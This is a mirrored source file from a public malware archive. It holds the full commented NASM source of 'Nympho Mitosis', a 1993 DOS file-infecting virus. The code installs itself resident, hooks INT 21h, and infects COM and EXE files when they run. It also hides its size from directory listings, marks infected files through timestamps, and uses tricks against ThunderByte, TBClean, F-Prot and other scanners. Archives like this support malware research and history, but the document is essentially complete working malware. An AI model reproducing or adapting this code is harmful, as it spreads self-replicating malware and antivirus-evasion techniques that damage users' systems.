mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
493 lines
32 KiB
NASM
493 lines
32 KiB
NASM
.model tiny ;_ASSUME CS=DS=ES=SS
|
|
.code ;/
|
|
org 100h ;Origin @ 100h (COM File)
|
|
;
|
|
start: ;Marks Start of Source
|
|
v_start: ;Marks Start of Virus
|
|
mov bp,000h ;<Ä¿ Constantly ;** Get Rid of TBAV's
|
|
delta equ $-002h ;<ÄÙ Changing ;** Flexible Entry Point
|
|
;
|
|
push ds es ;Save Segments onto Stack
|
|
;
|
|
mov ax,5D3Dh ;AX=5D3Dh / CHECKRESIDENT
|
|
int 021h ;DOS Services
|
|
;
|
|
cmp ax,003Dh ;Is the Virus Resident?
|
|
je restoreCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
cwd ;Load Register w/Zero
|
|
mov ds,dx ;DS=>Starting of INT Table
|
|
xchg di,dx ;Load Register w/Zero
|
|
;
|
|
lds ax,dword ptr ds:[084h] ;Load Far Pointer to DS:AX
|
|
mov word ptr cs:[bp+Int21hOffset],ax ;Save Interrupt Offset
|
|
mov word ptr cs:[bp+Int21hSegment],ds ;Save Interrupt Segment
|
|
;
|
|
mov ax,es ;ES=PSP=AX
|
|
dec ax ;Decrement for Last MCB
|
|
mov ds,ax ;AX=Last MCB=DS
|
|
;
|
|
cmp byte ptr ds:[di+000h],05Ah ;Is MCB Last in Chain?
|
|
jne restoreCOMEXEfile ;Jump if Not Equal/Zero
|
|
;
|
|
mov byte ptr ds:[di+000h],04Dh ;Mark MCB as NOT Last
|
|
sub word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h
|
|
sub word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h
|
|
;
|
|
mov ax,word ptr ds:[di+012h] ;AX=Location of Virus MCB
|
|
;
|
|
mov ds,ax ;DS=Location of Virus MCB
|
|
inc ax ;Increment for Mem Loc
|
|
mov es,ax ;AX=Memory Location=ES
|
|
;
|
|
mov byte ptr ds:[di+000h],05Ah ;Mark MCB as Last in Chain
|
|
mov word ptr ds:[di+001h],008h ;Mark DOS as Owner of MCB
|
|
mov word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d
|
|
;
|
|
push cs ;Push Segment onto Stack
|
|
pop ds ;Restore into DS (CS=DS)
|
|
;
|
|
cld ;Clear Direction Flag
|
|
mov di,100h ;DI=Location in Memory
|
|
lea si,[bp+v_start] ;SI=Source of Data
|
|
mov cx,(heap_end-v_start)/002h ;CX=Number of Bytes
|
|
rep movsw ;Word @ DS:[SI]=>ES:[DI]
|
|
;
|
|
mov ds,cx ;CX=000h=DS=Int Table
|
|
;
|
|
cli ;Turn OFF Interrupts
|
|
mov word ptr ds:[084h],offset Int21Handler
|
|
mov word ptr ds:[086h],es ;Location in Memory
|
|
sti ;Turn ON Interrupts
|
|
;
|
|
restoreCOMEXEfile: ;
|
|
pop es ds ;Restore Segments
|
|
;
|
|
mov ax,5A4Dh ;AX=5A4Dh (MZ)
|
|
lea si,cs:[bp+host_bytes] ;SI=Host_Bytes
|
|
;
|
|
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
|
|
je restoreEXEfile ;Jump if Equal/Zero
|
|
;
|
|
xchg ah,al ;Exchange Registers (ZM)
|
|
;
|
|
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
|
|
je restoreEXEfile ;Jump if Equal/Zero
|
|
;
|
|
restoreCOMfile: ;
|
|
mov di,0FFh ;DI=Location in Memory
|
|
inc di ;Increment for Real Loc
|
|
push di ;Push DI onto Stack
|
|
mov byte ptr [di],0C3h ;** Here, we screw up
|
|
;** the file _if_ TBClean
|
|
call di ;** is being run.
|
|
;** Thanks LM!
|
|
movsw ;Word @ DS:[SI]=>ES:[DI]
|
|
movsb ;Byte @ DS:[SI]=>ES:[DI]
|
|
;
|
|
retn ;Return to Host Program
|
|
;
|
|
restoreEXEfile: ;
|
|
mov ax,es ;ES=PSP=AX
|
|
;
|
|
add ax,010h ;Skip One Segment for CS
|
|
add ax,word ptr cs:[si+016h] ;Calculate Start of Prog
|
|
;
|
|
push ax ;Push New CS to Stack
|
|
push word ptr cs:[si+014h] ;Push IP to Stack
|
|
;
|
|
retf ;Return to Host Program
|
|
;
|
|
db "[Nympho Mitosis] v1.0",000h ;Le Nom du Virus
|
|
db "Copyright (c) 1993 Memory Lapse",000h
|
|
;
|
|
Int21Handler: ;
|
|
cmp ax,5D3Dh ;Is Virus Checking?
|
|
jne check_execute ;Jump if Not Equal/Zero
|
|
;
|
|
cbw ;Convert AL to AX
|
|
;
|
|
iret ;Interrupt Return
|
|
;
|
|
check_execute: ;
|
|
cmp ah,011h ;Are We Doing a DIR?
|
|
je _FCBStealth ;Jump if Equal/Zero
|
|
; (DOS)
|
|
cmp ah,012h ;Are We Doing a DIR?
|
|
je _FCBStealth ;Jump if Equal/Zero
|
|
; (DOS)
|
|
cmp ah,04Eh ;Are We Doing a DIR?
|
|
je _DTAStealth ;Jump if Equal/Zero
|
|
; (4DOS)
|
|
cmp ah,04Fh ;Are We Doing a DIR?
|
|
je _DTAStealth ;Jump if Equal/Zero
|
|
; (4DOS)
|
|
push ax bx cx dx di si ds es ;Push Registers onto Stack
|
|
;
|
|
cmp ax,6C00h ;Are We Extended Opening?
|
|
je __disinfectCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
cmp ah,03Dh ;Are We Opening?
|
|
je _disinfectCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
dec ax ;** Get Rid of TBAV's
|
|
;** Traps Loading of SW.
|
|
cmp ax,4AFFh ;Are We Executing?
|
|
je _infectCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
_Interrupt21h: ;
|
|
pop es ds si di dx cx bx ax ;Restore Registers
|
|
;
|
|
Interrupt21h: ;
|
|
db 0EAh,000h,000h,000h,000h ;JMP FAR PTR SSSS:OOOO
|
|
;
|
|
Int21hOffset equ $-004h ;Buffer for Int 21 Offset
|
|
Int21hSegment equ $-002h ;Buffer for Int 21 Segment
|
|
;
|
|
_FCBStealth: ;
|
|
jmp FCBStealth ;Unconditional Jump
|
|
;
|
|
_DTAStealth: ;
|
|
jmp DTAStealth ;Unconditional Jump
|
|
;
|
|
_infectCOMEXEfile: ;
|
|
jmp infectCOMEXEfile ;Unconditional Jump
|
|
;
|
|
__disinfectCOMEXEfile: ;
|
|
xchg dx,si ;SI=File Name=>DX
|
|
;
|
|
_disinfectCOMEXEfile: ;
|
|
jmp disinfectCOMEXEfile ;Unconditional Jump
|
|
;
|
|
FCBStealth: ;
|
|
pushf ;Push Flags to Top of Stck
|
|
push cs ;Push Segment onto Stack
|
|
call Interrupt21h ;Simulate Interrupt
|
|
;
|
|
test al,al ;Was There an Error?
|
|
jnz endFCBstealth ;Jump if Not Equal/Zero
|
|
;
|
|
push es dx cx bx ax ;Push Registers onto Stack
|
|
;
|
|
mov ah,051h ;AH=51h / GET PSP ADDRESS
|
|
int 021h ;DOS Services
|
|
;
|
|
mov es,bx ;BX=Address=ES
|
|
;
|
|
cmp bx,word ptr es:[016h] ;Is This a Parent PSP?
|
|
jne restoreFCBregisters ;Jump if Not Equal/Zero
|
|
;
|
|
mov bx,dx ;DX=BX
|
|
mov al,[bx] ;Get First Byte of FCB
|
|
;
|
|
push ax ;Save Byte onto Stack
|
|
;
|
|
mov ah,02Fh ;AH=2Fh / GET DTA ADDRESS
|
|
int 021h ;DOS Services
|
|
;
|
|
pop ax ;Restore AX
|
|
;
|
|
inc al ;Is This an Extended FCB?
|
|
jnz checkFCBinfected ;Jump if Not Equal/Zero
|
|
;
|
|
add bx,007h ;Convert to Normal FCB
|
|
;
|
|
checkFCBinfected: ;
|
|
mov cx,word ptr es:[bx+017h] ;CX=Time
|
|
mov dx,word ptr es:[bx+019h] ;DX=Date
|
|
;
|
|
and cx,01Fh ;Unmask Seconds Field
|
|
and dx,01Fh ;Unmask Day Field
|
|
;
|
|
xor cx,dx ;Are They the Same?
|
|
jnz restoreFCBregisters ;Jump if Not Equal/Zero
|
|
;
|
|
sub word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length
|
|
sbb word ptr es:[bx+01Fh],000h ;Subtract if Borrow
|
|
;
|
|
restoreFCBregisters: ;
|
|
pop ax bx cx dx es ;Restore Registers
|
|
;
|
|
endFCBstealth: ;
|
|
iret ;Interrupt Return
|
|
;
|
|
DTAStealth: ;
|
|
pushf ;Push Flags to Top of Stck
|
|
push cs ;Push Segment onto Stack
|
|
call Interrupt21h ;Simulate Interrupt
|
|
;
|
|
jc endDTAstealth ;Jump if Carry Flag Set
|
|
;
|
|
push es dx cx bx ax ;Save Registers onto Stack
|
|
;
|
|
mov ah,02Fh ;AH=2Fh / GET PSP ADDRESS
|
|
int 021h ;DOS Services
|
|
;
|
|
mov cx,word ptr es:[bx+016h] ;CX=Time
|
|
mov dx,word ptr es:[bx+018h] ;DX=Date
|
|
;
|
|
and cx,01Fh ;Unmask Seconds Field
|
|
and dx,01Fh ;Unmask Day Field
|
|
;
|
|
xor cx,dx ;Are They the Same?
|
|
jnz restoreDTAregisters ;Jump if Not Equal/Zero
|
|
;
|
|
sub word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size
|
|
sbb word ptr es:[bx+01Ch],000h ;Subtract if Borrow
|
|
;
|
|
restoreDTAregisters: ;
|
|
pop ax bx cx dx es ;Restore Registers
|
|
;
|
|
endDTAstealth: ;
|
|
retf 002h ;Return Far (POP 2 WORDS)
|
|
;
|
|
disinfectCOMEXEfile: ;
|
|
call OpenAndGetSFT ;Call Procedure
|
|
;
|
|
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
|
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
|
;
|
|
and cx,01Fh ;Unmask Seconds Field
|
|
and dx,01Fh ;Unmask Day Field
|
|
;
|
|
xor cx,dx ;Are They the Same?
|
|
jnz disinfect_close ;Jump if Not Equal/Zero
|
|
;
|
|
call LSeek ;Move File Pointer to End
|
|
;
|
|
xchg cx,dx ;Exchange Register Values
|
|
xchg dx,ax ;Exchange Register Values
|
|
;
|
|
push dx cx ;Save File Size to Stack
|
|
;
|
|
sub dx,018h ;Subtract 18 for Host_Byte
|
|
sbb cx,000h ;Subtract if Borrow
|
|
;
|
|
mov word ptr es:[di+015h],dx ;Move File Pointer to
|
|
mov word ptr es:[di+017h],cx ;Starting of Host_Bytes
|
|
;
|
|
mov dx,offset temp_buffer ;DX=Buffer for Data
|
|
mov cx,018h ;CX=Number of Bytes
|
|
mov ah,03Fh ;AH=3Fh / READ
|
|
int 021h ;DOS Services
|
|
;
|
|
mov word ptr es:[di+015h],000h ;Move File Pointer to
|
|
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
|
|
;
|
|
mov ah,040h ;AH=40h / WRITE
|
|
int 021h ;DOS Services
|
|
;
|
|
pop cx dx ;Restore File Size
|
|
;
|
|
sub dx,(v_end-v_start) ;Subtract Virus Size
|
|
sbb cx,000h ;Subtract if Borrow
|
|
;
|
|
mov word ptr es:[di+015h],dx ;Move File Pointer to
|
|
mov word ptr es:[di+017h],cx ;Starting of Virus
|
|
;
|
|
sub cx,cx ;Load Register w/Zero
|
|
mov ah,040h ;AH=40h / WRITE
|
|
int 021h ;DOS Services
|
|
;
|
|
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
|
and cl,0E0h ;Unmask Seconds Field
|
|
or cl,008h ;Set Seconds to 016d
|
|
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
|
;
|
|
jmp preCLOSECOMEXEfile ;Unconditional Jump
|
|
;
|
|
disinfect_close: ;
|
|
jmp closeCOMEXEfile ;Unconditional Jump
|
|
;
|
|
infectCOMEXEfile: ;
|
|
call OpenAndGetSFT ;Call Procedure
|
|
;
|
|
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
|
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
|
;
|
|
and cx,01Fh ;Unmask Seconds Field
|
|
and dx,01Fh ;Unmask Day Field
|
|
;
|
|
xor cx,dx ;Are They the Same?
|
|
jz _closeCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
cmp word ptr es:[di+020h],'BT' ;Could It Be ThunderByte?
|
|
je _closeCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
cmp word ptr es:[di+020h],'-F' ;Could it Be F-Prot?
|
|
je _closeCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
cmp word ptr es:[di+020h],'CS' ;Could it Be ViruScan?
|
|
je _closeCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
cmp word ptr es:[di+020h],'LC' ;Could it Be Clean?
|
|
je _closeCOMEXEfile ;Jump if Equal/Zero
|
|
;
|
|
mov dx,offset host_bytes ;DX=Buffer for Data
|
|
mov cx,018h ;CX=Number of Bytes
|
|
mov ah,03Fh ;AH=3Fh / READ
|
|
int 021h ;DOS Services
|
|
;
|
|
mov word ptr es:[di+015h],000h ;Move File Pointer to
|
|
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
|
|
;
|
|
mov si,offset temp_buffer ;SI=Temp_buffer
|
|
;
|
|
mov ax,4D5Ah ;** Get Rid of TBAV's
|
|
;** EXE/COM Determination
|
|
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
|
|
je infectEXEfile ;Jump if Equal/Zero
|
|
;
|
|
xchg ah,al ;Exchange Registers (MZ)
|
|
;
|
|
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
|
|
je infectEXEfile ;Jump if Equal/Zero
|
|
;
|
|
infectCOMfile: ;
|
|
call LSeek ;Move File Pointer to End
|
|
;
|
|
mov word ptr [delta],ax ;Write New Delta Offset
|
|
;
|
|
sub ax,003h ;Subtract 03 for JMP Loc
|
|
mov byte ptr [si+000h],0E9h ;Write JMP to Buffer
|
|
mov word ptr [si+001h],ax ;Write JMP Loc to Buffer
|
|
;
|
|
mov cx,003h ;CX=Number of Bytes
|
|
push cx ;Push Register onto Stack
|
|
;
|
|
jmp continueCOMEXEinfect ;Unconditional Jump
|
|
;
|
|
_closeCOMEXEfile: ;
|
|
jmp closeCOMEXEfile ;Unconditional Jump
|
|
;
|
|
infectEXEfile: ;
|
|
mov dx,si ;DX=Buffer for Data
|
|
push cx ;CX=Number of Bytes
|
|
mov ah,03Fh ;AH=3Fh / READ
|
|
int 021h ;DOS Services
|
|
;
|
|
call LSeek ;Move File Pointer to End
|
|
;
|
|
push dx ax ;Push File Size onto Stack
|
|
;
|
|
add ax,(v_end-v_start) ;Add Virus Size to Low Bit
|
|
adc dx,000h ;Add if Carry to High Bit
|
|
;
|
|
mov cx,200h ;CX=Number to Divide By
|
|
div cx ;Divide AX by CX
|
|
;
|
|
or dx,dx ;Do We Need to Round Up?
|
|
je no_burp ;Jump if Equal/Zero
|
|
;
|
|
inc ax ;Increment AX
|
|
;
|
|
no_burp: ;
|
|
mov word ptr [si+004h],ax ;New Length of File ö 512
|
|
mov word ptr [si+002h],dx ;New # of Bytes in Last Pg
|
|
;
|
|
pop ax dx ;Restore File Size
|
|
;
|
|
mov cx,010h ;CX=Number to Divide By
|
|
div cx ;Divide AX by CX
|
|
;
|
|
sub ax,word ptr [si+008h] ;Subtact Header Size
|
|
;
|
|
mov word ptr [si+016h],ax ;CS=Segment of Virus
|
|
mov word ptr [si+014h],dx ;IP=Location of Virus
|
|
;
|
|
sub dx,100h ;Subtract 100h for Offset
|
|
mov word ptr [delta],dx ;Write New Delta Offset
|
|
;
|
|
continueCOMEXEinfect: ;
|
|
mov dx,offset v_start ;DX=Location of Data
|
|
mov cx,(v_end-v_start) ;CX=Number of Bytes
|
|
mov ah,040h ;AH=40h / WRITE
|
|
int 021h ;DOS Services
|
|
;
|
|
mov word ptr es:[di+015h],000h ;Move File Pointer to
|
|
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
|
|
;
|
|
xchg dx,si ;DX=Location of Data
|
|
pop cx ;CX=Number of Bytes
|
|
mov ah,040h ;AH=40h / WRITE
|
|
int 021h ;DOS Services
|
|
;
|
|
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
|
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
|
;
|
|
push dx ;Push Date Stamp to Stack
|
|
;
|
|
and cx,-020h ;Reset Seconds
|
|
and dx,01Fh ;Unmask Day Field
|
|
;
|
|
or cx,dx ;Move Day into Seconds
|
|
;
|
|
pop dx ;Restore Date
|
|
;
|
|
preCLOSECOMEXEfile: ;
|
|
mov ax,5701h ;AX=5701h / SET T/D STAMPS
|
|
int 021h ;DOS Services
|
|
;
|
|
closeCOMEXEfile: ;
|
|
mov ah,03Eh ;AH=3Eh / CLOSE File
|
|
int 021h ;DOS Services
|
|
;
|
|
jmp _Interrupt21h ;Unconditional Jump
|
|
;
|
|
OpenAndGetSFT: ;
|
|
mov ax,3D00h ;AX=3D00h / OPEN R/O
|
|
pushf ;Push Flags to Top of Stck
|
|
push cs ;Push Segment to Stack
|
|
call Interrupt21h ;Simulate Interrupt
|
|
;
|
|
xchg ax,bx ;Move File Handle to BX
|
|
;
|
|
push bx cs cs ;Push Registers to Stack
|
|
pop es ds ;Equal Out Segments
|
|
;
|
|
mov ax,1220h ;AX=1220h / GET JFT
|
|
int 02Fh ;Multiplex Interrupt
|
|
;
|
|
mov ax,1216h ;AX=1216h / GET SFT
|
|
mov bl,byte ptr es:[di] ;Move Byte into BL
|
|
int 02Fh ;Multiplex Interrupt
|
|
;
|
|
pop bx ;Restore File Handle
|
|
;
|
|
mov word ptr es:[di+002h],002h ;Open in Read/Write Mode
|
|
;
|
|
retn ;Return to Point of Call
|
|
;
|
|
LSeek: push ds ;Push Segment onto Stack
|
|
;
|
|
lds ax,dword ptr es:[di+011h] ;Load Far Pointer to DS:AX
|
|
mov word ptr es:[di+015h],ax ;Move File Pointer to
|
|
mov word ptr es:[di+017h],ds ;End of File. (SFT)
|
|
mov dx,ds ;Move High Bit to DX
|
|
;
|
|
pop ds ;Restore Segment to DS
|
|
;
|
|
retn ;Return to Point of Call
|
|
;
|
|
host_bytes dw 020CDh ;First 3 for COM ;Marks Host as an EXE
|
|
dw 002h ;# of Bytes @ Last Page
|
|
dw 004h ;# of Pages + Header Size
|
|
dw 006h ;# of Relocatable Entries
|
|
dw 008h ;Size of Header (Paras)
|
|
dw 00Ah ;Min. Memory Required
|
|
dw 00Ch ;Max. Memory Wanted
|
|
dw 00Eh ;SS Value at Entry
|
|
dw 010h ;SP Value at Entry
|
|
dw 012h ;Negative Checksum
|
|
dw 014h ;IP Value at Entry
|
|
dw 016h ;CS Value at Entry
|
|
;
|
|
v_end: ;Marks End of Virus
|
|
heap_start: ;Marks Start of Heap
|
|
;
|
|
temp_buffer db 018h dup (?) ;Multipurpose Buffer
|
|
;
|
|
heap_end: ;Marks End of Heap
|
|
;
|
|
end start ;Marks End of Source
|